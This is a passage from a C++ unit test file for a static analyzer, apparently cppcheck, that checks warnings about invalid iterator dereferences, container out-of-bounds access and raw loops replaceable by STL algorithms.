f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const 